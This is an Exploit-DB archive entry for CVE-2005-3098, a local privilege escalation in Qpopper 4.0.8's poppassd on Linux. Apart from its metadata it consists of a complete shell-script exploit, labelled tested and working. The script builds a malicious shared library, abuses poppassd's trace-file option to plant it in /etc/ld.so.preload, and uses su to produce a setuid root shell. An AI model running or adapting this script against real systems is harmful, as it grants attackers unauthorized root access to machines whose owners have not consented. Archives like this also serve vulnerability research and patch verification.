Qpopper 4.0.8 (Linux) - 'poppassd' Local Privilege Escalation

Author: kingcope
type: local
platform: linux
port: 
date_added: 2005-09-23 
date_updated: 2016-06-07 
verified: 1 
codes: OSVDB-19683;CVE-2005-3098 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comqpopper4.0.8.tar.gz

#!/bin/sh
# tested and working /str0ke
###########################################################################
# Linux Qpopper poppassd latest version local r00t exploit by kcope     ###
# August 2005                                                           ###
# Confidential - Keep Private!                                          ###
###########################################################################

POPPASSD_PATH=/usr/local/bin/poppassd

echo ""
echo "Linux Qpopper poppassd latest version local r00t exploit by kcope"
echo ""
sleep 2
umask 0000
if [ -f /etc/ld.so.preload ]; then
echo "OOPS /etc/ld.so.preload already exists.. exploit failed!"
exit
fi
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init()
{
 if (!geteuid()) {
 setgid(0);
 setuid(0);
 remove("/etc/ld.so.preload");
 execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
 }
}

_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cat > suid.c << _EOF
int main(void) {
       setgid(0); setuid(0);
       unlink("/tmp/suid");
       execl("/bin/sh","sh",0); }
_EOF

gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
echo "--- Now type ENTER ---"
echo ""
$POPPASSD_PATH -t /etc/ld.so.preload
echo /tmp/libno_ex.so.1.0 > /etc/ld.so.preload
su
if [ -f /tmp/suid ]; then
echo "IT'S A ROOTSHELL!!!"
/tmp/suid
else
echo "Sorry, exploit failed."
fi

# milw0rm.com [2005-09-24]